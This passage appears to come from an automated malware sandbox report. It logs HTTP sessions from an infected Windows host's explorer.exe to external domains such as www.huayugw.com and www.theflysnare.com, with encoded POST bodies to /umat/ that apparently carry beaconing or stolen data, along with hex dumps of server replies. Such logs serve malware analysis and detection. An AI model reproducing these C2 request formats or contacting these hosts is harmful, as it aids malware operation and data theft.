pl17duaUYAjlZqq3RvDou8fjsnGzloVR_yDzPB_nmlh3vQ8iMnSnr3Lu3xQ3pBFyRashh62edHdrITb8cIoctemtVveU3MXT-~zI5XmM4Fl7b8KQ7U7B4eVXjLGSWCGt1tT0KkAj76L~e2RYstEcv08QUp8pkpAzvl867yCPfwhNFqQIPqOzTrCnURy9EDgh8nenEZtZLWaaIF8jcPrZX2XQM0DoF6HCvmujseNEmzEX2zGXPPs85iI0wSSZstmbZ2H7Ba3ZTVcDVUh1YxJop48ssvZxkYlS4c5zo~j9rwiHT762v54eXtbFtsejHNPeEp1(bgrmBXtUQRpYqFCxe~SFl68Nxax38xzrES3wasaN1WXpPuXnuEObU9kQ0KqnqDodm8nRc7gYMwU450H4SLSGwrLuGLDdxUEjTtostXYfT8be8zuPk4c9mYtQfEAZAmUe3u0Zu53LuDo3Ge17HUlQuMheQ(cMzN1kkZKIei6XwAFJ
Jun 3, 2022 08:19:18.201390028 CEST	11223	OUT	Data Raw: 58 61 6d 4e 42 58 45 47 59 4e 77 6b 76 6a 76 64 4c 35 6c 35 71 76 75 35 66 55 65 5f 4c 4c 46 39 45 62 77 67 4e 79 63 32 6b 69 6b 34 34 67 7e 6d 31 64 34 61 47 61 45 64 45 4e 34 47 43 44 43 43 41 51 6f 47 73 67 31 44 74 65 67 51 78 39 6d 5a 44 6d Data Ascii: XamNBXEGYNwkvjvdL5l5qvu5fUe_LLF9EbwgNyc2kik44g~m1d4aGaEdEN4GCDCCAQoGsg1DtegQx9mZDm644FiZcw(ftNqMPjy2Ssoa(hwTWt(0ExYN(FF0pdEvO_BwxHDWsC0P2rqW3NB1Rj5-6n3EkTxbW9UBDvIM4cWfuV~meA~brrt3Bk6C0Ij_QMqn6ubDo4TXA3ByFDC0ThSRsq0L~_LS0OOdQ-SAfzYss6N9jS(EmdX
Jun 3, 2022 08:19:18.201456070 CEST	11230	OUT	Data Raw: 4b 43 31 6b 49 34 6a 65 35 30 4e 77 61 68 39 58 69 69 73 53 4e 5a 6b 57 33 57 39 46 31 6f 63 47 36 2d 63 30 49 68 72 34 65 6b 67 31 54 39 59 2d 75 2d 6b 46 56 5f 71 4e 4b 4a 53 79 4f 36 4a 64 62 73 4d 51 45 30 4b 5a 54 7a 34 54 4e 5f 30 4c 37 71 Data Ascii: KC1kI4je50Nwah9XiisSNZkW3W9F1ocG6-c0Ihr4ekg1T9Y-u-kFV_qNKJSyO6JdbsMQE0KZTz4TN_0L7q174y~ff7l_acyZydSnN8TRfDZ7odMugp1W3pnzX9ipRI~-EkYXDknVamYQhAdYTGHQlkXvJ9BvZaze5wciktBVCIlKW4rE9VZEfiPrS0SvKufyOB9A~hCsXO32jMdUoAxkN15Xn9X9tP6_ym507ztRhl1lUb7OzGf
Jun 3, 2022 08:19:18.581618071 CEST	11239	IN	HTTP/1.1 402 Payment Required Date: Fri, 03 Jun 2022 06:19:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 228 X-Sorting-Hat-ShopId: 64312672485 X-Frame-Options: DENY X-ShopId: 64312672485 X-ShardId: 228 Vary: Accept X-Shopify-Stage: production Content-Security-Policy: frame-ancestors 'none'; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=8ce6b02f-253b-4e63-a29a-f49a2a4ce062 X-Content-Type-Options: nosniff X-Download-Options: noopen X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=8ce6b02f-253b-4e63-a29a-f49a2a4ce062 X-Dc: gcp-europe-west1,gcp-us-east1,gcp-us-east1 X-Request-ID: 8ce6b02f-253b-4e63-a29a-f49a2a4ce062 CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 715650febf2091f9-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 32 62 62 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 0a 20 Data Ascii: 2bb9<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Something went wrong.</title> <meta name="referrer" content="never" /> <style type="text/css">
Jun 3, 2022 08:19:18.581734896 CEST	11240	IN	Data Raw: 20 20 20 2a 20 7b 20 62 6f 72 64 65 72 3a 30 3b 20 6d 61 72 67 69 6e 3a 30 3b 20 70 61 64 64 69 6e 67 3a 30 3b 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 Data Ascii: * { border:0; margin:0; padding:0; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; box-sizing:border-box; } html,body { height:100%; border:0; margin:0; padding:0; font-family:"Helvetica Neue", Helvetica, Arial, sans-serif; f
Jun 3, 2022 08:19:18.581804037 CEST	11242	IN	Data Raw: 72 67 65 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 36 70 78 3b 20 7d 0a 0a 20 20 20 20 2e 72 65 71 75 65 73 74 2d 69 64 20 7b 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 30 70 78 3b 20 66 6f Data Ascii: rge { font-size:20px; line-height:26px; } .request-id { padding-top:100px; font-size:13px; color:#ccc; } @media all and (min-width:500px) { body { padding:60px 0; } .wrapper { padding:20px 20px 20px 100px; } .ico sv
Jun 3, 2022 08:19:18.581891060 CEST	11243	IN	Data Raw: 22 23 46 46 46 46 46 46 22 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 53 68 61 70 65 47 72 6f 75 70 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 30 39 2e 33 Data Ascii: "#FFFFFF" sketch:type="MSShapeGroup"></path> <path d="M209.391799,46.7144151 L217.83313,145.696755" id="Stroke-2" stroke="#B4B5B4" stroke-width="2" stroke-linecap="round" sketch:type="MSShapeGroup"></path>
Jun 3, 2022 08:19:18.581964016 CEST	11245	IN	Data Raw: 33 36 36 37 39 20 4c 32 31 38 2e 37 36 34 30 35 2c 31 35 36 2e 34 35 39 33 39 36 20 43 32 31 39 2e 30 32 35 37 36 35 2c 31 35 39 2e 34 38 33 33 39 36 20 32 31 36 2e 37 39 30 33 33 37 2c 31 36 32 2e 31 34 38 30 37 35 20 32 31 33 2e 37 37 32 34 37 Data Ascii: 36679 L218.76405,156.459396 C219.025765,159.483396 216.790337,162.148075 213.772477,162.410264 L16.1782012,179.578868 C13.1603406,179.841057 10.5004737,177.601585 10.2387585,174.578264 L9.63057585,167.555547 L218.155867,149.436679 Z M63.166244
Jun 3, 2022 08:19:18.582031965 CEST	11246	IN	Data Raw: 30 2e 31 36 38 39 30 36 20 4c 31 33 2e 31 32 39 31 35 31 37 2c 31 36 37 2e 36 30 33 30 39 34 22 20 69 64 3d 22 46 69 6c 6c 2d 31 31 22 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 53 68 61 70 65 47 Data Ascii: 0.168906 L13.1291517,167.603094" id="Fill-11" fill="#FFFFFF" sketch:type="MSShapeGroup"></path> <path d="M213.774511,150.168906 L13.1291517,167.603094" id="Stroke-12" stroke="#B4B5B4" stroke-width="2" stroke-linecap="roun
Jun 3, 2022 08:19:18.582093000 CEST	11247	IN	Data Raw: 30 33 34 31 38 35 38 2c 38 35 2e 35 30 31 33 35 38 35 20 43 36 33 2e 38 31 37 31 34 32 34 2c 38 34 2e 30 34 30 39 38 31 31 20 36 32 2e 30 36 33 37 38 36 34 2c 38 33 2e 33 36 30 33 37 37 34 20 35 39 2e 35 31 38 35 30 34 36 2c 38 33 2e 33 36 30 33 Data Ascii: 0341858,85.5013585 C63.8171424,84.0409811 62.0637864,83.3603774 59.5185046,83.3603774 C58.6160619,83.3603774 57.6227647,83.4405283 56.2972384,83.6218868 C48.0525325,84.7487547 39.9285139,96.6892075 39.3074489,105.311547 C39.0077647,109.467849
Jun 3, 2022 08:19:18.582148075 CEST	11249	IN	Data Raw: 35 36 2e 36 32 36 34 39 31 20 34 32 2e 39 36 38 30 37 31 32 2c 31 35 36 2e 36 32 36 34 39 31 22 20 69 64 3d 22 46 69 6c 6c 2d 31 33 22 20 66 69 6c 6c 3d 22 23 45 32 41 44 32 43 22 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 53 68 61 70 65 47 Data Ascii: 56.626491 42.9680712,156.626491" id="Fill-13" fill="#E2AD2C" sketch:type="MSShapeGroup"></path> <path d="M59.9456563,80.537434 C77.7395759,80.537434 73.8084241,102.396226 73.8084241,102.396226 C73.8084241,102.396226 75.08
Jun 3, 2022 08:19:18.582185030 CEST	11250	IN	Data Raw: 30 34 31 35 30 39 20 43 36 39 2e 35 31 33 38 35 34 35 2c 38 36 2e 30 33 31 38 34 39 31 20 36 34 2e 39 37 33 38 34 32 31 2c 38 33 2e 30 32 30 37 35 34 37 20 35 39 2e 35 31 37 38 32 36 36 2c 38 33 2e 30 32 30 37 35 34 37 20 43 35 38 2e 34 34 37 32 Data Ascii: 041509 C69.5138545,86.0318491 64.9738421,83.0207547 59.5178266,83.0207547 C58.4472353,83.0207547 57.341387,83.1362264 56.2511331,83.2856604 C47.9759164,84.4159245 39.6112012,96.374717 38.9691176,105.287094 C38.5589164,110.985962 40.9184211,112
Jun 3, 2022 08:19:18.582216978 CEST	11251	IN	Data Raw: 33 33 34 2c 31 30 32 2e 35 38 32 33 34 20 43 36 34 2e 37 35 38 32 33 32 32 2c 31 30 33 2e 31 32 33 36 39 38 20 36 31 2e 34 32 37 38 30 35 2c 31 30 34 2e 39 38 32 31 31 33 20 36 30 2e 37 32 34 30 32 31 37 2c 31 30 37 2e 34 30 36 33 34 20 43 36 30 Data Ascii: 334,102.58234 C64.7582322,103.123698 61.427805,104.982113 60.7240217,107.40634 C60.445356,108.368151 60.59113,109.300755 61.1579536,110.17834 C61.3755975,110.515245 61.5945975,110.876604 61.8176656,111.243396 C63.0238607,113.230868 64.2720929,

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49890	23.227.38.74	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:19:18.202693939 CEST	11230	OUT	GET /umat/?bT7tPLpx=KCFtk2ByPIrj6EQbanamrSzf2WMHsV3o1++x6ahF6LksDSy9FlqjvwWpWYTFvIM6F0DF&Lls=Mzrp HTTP/1.1 Host: www.theflysnare.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 3, 2022 08:19:18.260586023 CEST	11233	IN	HTTP/1.1 403 Forbidden Date: Fri, 03 Jun 2022 06:19:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Sorting-Hat-PodId: 228 X-Sorting-Hat-ShopId: 64312672485 X-Dc: gcp-europe-west1 X-Request-ID: 7cd6fc28-a7e1-4039-9e7f-7134e5189789 X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block X-Download-Options: noopen CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 715650fedfd39bfb-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 6d 61 69 6e 7b 66 6c 65 78 3a 31 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" content="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;padding:0}html{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-decoration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-size:1.8rem;font-weight:400;margin:0 0 1.4rem 0}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;display:flex;min-height:100vh;flex-direction:column}.text-container--main{flex:1;display:flex;al
Jun 3, 2022 08:19:18.260644913 CEST	11234	IN	Data Raw: 69 67 6e 2d 69 74 65 6d 73 3a 73 74 61 72 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 36 72 65 6d 7d 2e 61 63 74 69 6f 6e 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 41 39 41 39 41 39 3b 70 61 64 64 69 6e 67 3a 31 2e 32 72 Data Ascii: ign-items:start;margin-bottom:1.6rem}.action{border:1px solid #A9A9A9;padding:1.2rem 2.5rem;border-radius:6px;text-decoration:none;margin-top:1.6rem;display:inline-block;font-size:1.5rem;transition:border-color 0.2s ease-in}.action:hover{borde
Jun 3, 2022 08:19:18.260694981 CEST	11235	IN	Data Raw: 20 22 63 6f 6e 74 65 6e 74 2d 74 69 74 6c 65 22 3a 20 22 4e 6f 20 74 69 65 6e 65 73 20 70 65 72 6d 69 73 6f 20 70 61 72 61 20 61 63 63 65 64 65 72 20 61 20 65 73 74 61 20 70 c3 a1 67 69 6e 61 20 77 65 62 22 0a 20 20 7d 2c 0a 20 20 22 6b 6f 22 3a Data Ascii: "content-title": "No tienes permiso para acceder a esta pgina web" }, "ko": { "title": " ", "content-title": " " }, "da": { "title": "
Jun 3, 2022 08:19:18.260750055 CEST	11237	IN	Data Raw: 86 e0 a4 aa e0 a4 95 e0 a5 8b 20 e0 a4 87 e0 a4 b8 20 e0 a4 b5 e0 a5 87 e0 a4 ac e0 a4 b8 e0 a4 be e0 a4 87 e0 a4 9f 20 e0 a4 a4 e0 a4 95 20 e0 a4 aa e0 a4 b9 e0 a5 81 e0 a4 82 e0 a4 9a 20 e0 a4 aa e0 a5 8d e0 a4 b0 e0 a4 be e0 a4 aa e0 a5 8d e0 Data Ascii: " }, "ja": { "title": "", "content-title": "
Jun 3, 2022 08:19:18.260791063 CEST	11237	IN	Data Raw: 20 74 72 61 6e 73 6c 61 74 69 6f 6e 73 29 20 7b 0a 20 20 20 20 74 61 72 67 65 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 5b 64 61 74 61 2d 69 31 38 6e 3d 22 20 2b 20 69 64 20 2b 20 22 5d 22 29 3b 0a 20 20 Data Ascii: translations) { target = document.querySelector("[data-i18n=" + id + "]"); if (target != undefined) { target.innerHTML = translations[id]; } } // Replace title tage document.title = translations["title"]; // Replace
Jun 3, 2022 08:19:18.260831118 CEST	11237	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49891	154.36.145.110	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:19:23.618773937 CEST	11252	OUT	POST /umat/ HTTP/1.1 Host: www.huayugw.com Connection: close Content-Length: 414 Cache-Control: no-cache Origin: http://www.huayugw.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.huayugw.com/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 35 4e 37 74 4d 52 42 54 76 77 6f 6c 49 44 57 70 49 57 6e 64 64 46 70 4f 35 30 45 50 48 35 43 6c 4c 30 76 38 7a 79 33 32 39 55 56 55 7e 38 28 73 28 71 55 47 69 34 57 6a 38 4e 68 79 68 37 52 4f 28 46 66 67 6e 71 44 4f 42 45 65 54 64 49 52 62 47 53 68 5a 6f 58 72 69 42 37 77 47 57 6f 65 77 35 69 79 35 65 57 38 59 34 74 4e 76 78 45 75 4b 4d 76 68 6f 36 34 67 53 61 69 43 49 69 47 53 38 58 31 77 34 4e 4a 72 74 6c 4c 4e 6e 72 49 77 50 68 53 6d 71 65 4d 65 41 77 4e 72 77 7a 6f 76 5a 39 72 32 58 45 5f 4c 4b 4a 67 72 79 65 44 62 36 31 50 4e 79 72 4d 72 78 45 67 28 69 30 70 59 38 70 39 36 59 56 59 47 67 72 51 4c 4c 51 33 44 53 30 76 44 34 46 49 4c 30 35 46 37 58 6f 73 56 4d 70 78 6d 72 79 70 30 52 28 62 61 7a 75 7a 63 4a 56 4e 70 52 31 4a 36 5a 37 65 38 34 59 66 50 49 6e 41 45 53 36 51 54 67 35 41 6d 67 56 61 4f 50 43 45 52 37 37 33 57 48 42 7a 57 69 41 6c 4a 66 67 41 74 63 47 70 4d 5f 63 42 4a 5a 76 33 45 75 36 67 6a 55 49 61 77 4b 41 44 55 33 55 6e 7e 50 70 7a 4f 35 77 4c 72 34 4e 51 78 37 53 42 34 43 6d 61 32 36 67 63 57 36 37 5f 56 32 4c 65 50 5a 48 55 52 63 78 4e 31 2d 64 7a 44 36 79 69 6b 6c 52 68 34 2d 64 5f 39 34 30 43 70 6a 58 39 32 55 35 34 37 70 6c 64 6c 70 53 51 42 78 67 50 31 77 7a 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=5N7tMRBTvwolIDWpIWnddFpO50EPH5ClL0v8zy329UVU~8(s(qUGi4Wj8Nhyh7RO(FfgnqDOBEeTdIRbGShZoXriB7wGWoew5iy5eW8Y4tNvxEuKMvho64gSaiCIiGS8X1w4NJrtlLNnrIwPhSmqeMeAwNrwzovZ9r2XE_LKJgryeDb61PNyrMrxEg(i0pY8p96YVYGgrQLLQ3DS0vD4FIL05F7XosVMpxmryp0R(bazuzcJVNpR1J6Z7e84YfPInAES6QTg5AmgVaOPCER773WHBzWiAlJfgAtcGpM_cBJZv3Eu6gjUIawKADU3Un~PpzO5wLr4NQx7SB4Cma26gcW67_V2LePZHURcxN1-dzD6yiklRh4-d_940CpjX92U547pldlpSQBxgP1wzw).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49892	154.36.145.110	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:19:23.795093060 CEST	11260	OUT	POST /umat/ HTTP/1.1 Host: www.huayugw.com Connection: close Content-Length: 36482 Cache-Control: no-cache Origin: http://www.huayugw.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.huayugw.com/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 35 4e 37 74 4d 51 52 5f 6b 54 38 34 47 7a 61 77 50 6b 47 61 46 46 5a 41 34 45 41 45 4c 5a 65 36 50 42 4c 77 73 47 28 4c 38 56 74 30 30 73 7a 42 37 70 6c 62 69 35 4b 4b 78 65 45 37 6b 62 64 4a 28 45 33 65 6e 71 48 4f 41 46 6e 4e 61 70 42 68 47 30 64 65 73 33 72 4f 43 37 78 59 53 71 72 53 35 69 33 4a 65 57 6b 49 34 64 5a 76 77 69 71 4b 46 49 4e 6a 6c 49 67 55 54 45 69 4d 68 32 4f 68 58 32 41 61 4e 4d 54 74 6c 37 42 6e 36 5a 41 49 31 6b 75 70 58 38 65 4a 38 74 72 54 38 49 6a 6e 39 71 43 6c 45 2d 6e 4b 4a 56 44 79 63 54 37 36 38 63 56 78 28 4d 72 4f 41 67 28 6b 69 70 56 69 70 39 6d 55 56 63 7e 57 71 67 76 4c 4b 6e 44 54 69 74 69 62 53 72 53 38 31 6c 4f 39 6f 73 4a 6c 71 6a 53 4a 79 6f 49 39 35 6f 7a 57 79 69 77 6e 56 50 6c 33 7a 70 36 64 76 75 38 6a 59 66 50 4f 6e 41 45 38 36 51 50 67 35 44 57 67 55 35 6d 50 54 45 52 34 78 6e 57 42 49 54 58 77 4b 46 46 39 67 42 45 35 47 73 77 46 66 7a 74 5a 70 6e 55 75 76 7a 37 56 41 61 77 45 45 44 56 31 48 33 28 59 70 7a 4f 62 77 4b 72 6f 4e 69 46 37 55 53 67 43 67 34 75 36 69 4d 57 36 6e 76 56 30 41 2d 7a 4a 48 55 4a 59 78 49 52 45 63 41 76 36 7a 33 77 6c 66 67 34 2d 52 76 39 34 68 53 6f 6e 52 4f 66 76 31 62 65 6e 73 37 5a 6d 56 6b 67 50 31 4e 30 56 75 46 75 47 44 73 58 50 44 36 7a 78 34 39 68 64 28 74 47 30 4a 49 28 45 58 4b 54 64 7a 64 53 44 4f 4a 6d 59 4b 52 54 68 7a 66 56 4d 74 34 56 63 54 4c 52 48 28 47 46 65 30 48 75 69 56 50 54 32 54 43 53 6c 76 57 74 54 7a 71 62 30 73 5f 64 33 6e 52 4a 33 59 31 59 70 39 6c 45 6d 7e 76 4f 38 59 49 48 56 72 58 79 72 61 62 70 69 35 51 48 32 71 47 55 64 7e 64 48 52 6e 50 7a 52 6e 35 66 44 50 73 43 39 41 46 50 33 4f 6c 59 4f 7a 31 34 77 31 6d 4c 77 36 61 47 75 58 63 54 4e 34 67 4c 45 66 53 68 41 70 38 41 76 47 68 41 65 6f 70 6c 34 70 4e 46 69 64 44 74 71 7a 66 55 49 6b 6b 56 34 28 56 7e 6b 35 43 31 4e 75 78 49 52 49 7a 56 66 77 5a 53 4a 32 47 47 6c 74 41 32 61 50 5f 30 32 28 50 4d 35 47 6a 34 48 49 5f 6b 34 42 64 67 52 6c 43 66 47 38 52 4a 37 4f 76 37 76 56 32 4d 65 56 53 66 34 77 45 43 68 36 36 7e 62 61 59 75 32 30 39 32 79 51 5f 28 4f 74 37 7e 45 77 74 52 68 70 5a 43 45 6d 6b 4a 34 71 79 73 58 46 30 4d 2d 79 44 28 54 43 64 41 73 4b 65 33 4c 68 50 72 38 50 44 59 70 79 6f 7e 41 68 68 6b 43 70 35 48 77 4e 76 55 4f 7e 66 32 76 4a 68 67 63 37 5f 41 73 39 68 4a 4e 70 4a 79 47 79 66 35 77 63 4f 72 5a 33 71 61 51 6e 41 67 6f 6d 48 42 35 35 31 53 58 6b 36 77 6e 79 6d 47 74 77 5a 6a 72 47 32 53 36 48 63 76 78 7e 43 65 45 6c 41 45 49 71 54 50 72 28 73 75 38 68 33 6c 54 74 74 6e 48 6a 33 46 39 70 73 36 71 54 2d 35 51 6b 33 41 41 39 48 52 51 34 7a 33 6d 66 78 64 51 32 6e 31 73 67 31 59 6f 44 69 59 36 64 61 33 50 33 5a 47 77 49 46 71 44 36 59 57 64 38 64 73 2d 68 63 6c 4d 76 4a 36 72 37 47 33 37 4b 74 52 6c 71 54 66 38 77 59 73 35 51 64 31 30 50 69 57 50 6d 4d 34 4e 67 37 62 6a 52 45 6d 59 6c 56 58 7a 76 73 46 74 57 74 32 43 6a 56 74 54 6a 38 43 6e 38 52 5a 31 55 4d 4e 50 39 6c 7e 66 64 34 61 51 50 72 6a 36 44 49 47 30 37 49 50 5a 43 34 31 65 6e 77 36 79 53 73 71 39 6a 39 7a 48 31 78 63 46 72 6f 7e 72 38 6d 4c 64 61 6d 56 58 64 43 52 51 38 63 43 31 63 56 70 4e 51 77 55 70 72 74 39 2d 64 34 28 61 63 77 67 34 31 79 4b 38 66 30 70 67 79 4d 38 32 75 32 72 61 68 69 31 2d 45 6c 76 56 6f 66 74 75 6d 31 4a 4d 6c 70 6a 49 56 6c 47 48 70 67 62 61 41 62 38 71 4f 30 58 64 45 65 5a 62 41 5f 57 4e 75 39 33 74 58 37 37 73 7e 34 59 50 37 78 52 69 74 75 67 48 65 69 33 53 59 43 69 6c 37 45 42 68 36 30 4a 78 4e 67 63 64 48 4d 28 67 30 6b 6d 48 74 45 75 54 50 54 58 79 53 77 51 76 30 51 77 6e 62 46 32 30 37 4c 66 33 4e 4e 55 39 72 5f 53 64 78 39 69 38 32 53 32 31 6f 76 4e 62 6c 41 32 55 61 36 6e 36 6b 4b 7a 69 38 34 46 5f 61 7a 51 61 7e 32 52 56 44 41 58 46 59 4e 6b 6b 52 6b 73 67 50 32 79 43 35 65 4a 54 44 73 6f 55 63 4e 38 54 72 42 77 44 6a 49 48 30 56 7a 74 4a 6c 39 77 6e 6c 42 35 42 4c 2d 42 31 76 47 39 37 31 64 58 31 4e 53 4e 2d 4a 54 4d 71 72 39 33 2d 36 65 66 6e 46 73 32 50 69 39 41 66 71 58 68 6a 51 4d 73 57 59 74 4d 77 39 71 28 64 68 6a 32 41 61 70 7e 4f 28 49 77 58 39 5f 7e 46 73 56 59 62 73 47 74 5a 69 37 50 35 47 63 4a 6c 37 43 4f 62 38 69 Data Ascii: 